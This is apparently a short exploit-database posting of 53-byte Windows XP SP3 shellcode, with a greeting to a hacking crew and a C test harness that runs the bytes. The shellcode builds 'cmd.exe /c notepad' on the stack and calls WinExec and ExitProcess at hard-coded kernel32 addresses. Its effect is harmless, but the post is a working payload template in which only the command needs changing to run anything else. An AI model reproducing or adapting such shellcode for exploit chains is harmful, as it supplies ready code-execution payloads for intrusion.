53 bytes - Windows XP SP3 (en) notepad.exe win32 Shellcode
Finally, my first win32 shellcode..
This will execute notepad.exe when loaded. Run on Windows XP SP3 English.
/* (o_Ov) say hello to all digital-echidna org crew: otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix special thx to offsec, exploit-db, and corelan team */ /*shellcodetest.c*/ char code[] = "\x31\xc0\x50\xb8\x72\x75\x11\x11" "\x2d\x11\x11\x11\x11\x50\x68\x6f" "\x74\x65\x70\x68\x2f\x63\x20\x6e" "\x68\x65\x78\x65\x20\x68\x63\x6d" "\x64\x2e\x89\xe3\x50\x53\xbb" "\x0d\x25\x86\x7c" /*Kernel32.dll.WinExec*/ "\xff\xd3\x50\xbb" "\x12\xcb\x81\x7c" /*Kernel32.dll.ExitProcess*/ "\xff\xd3"; int main(int argc, char **argv) { int (*func)(); func = (int (*)()) code; (int)(*func)(); }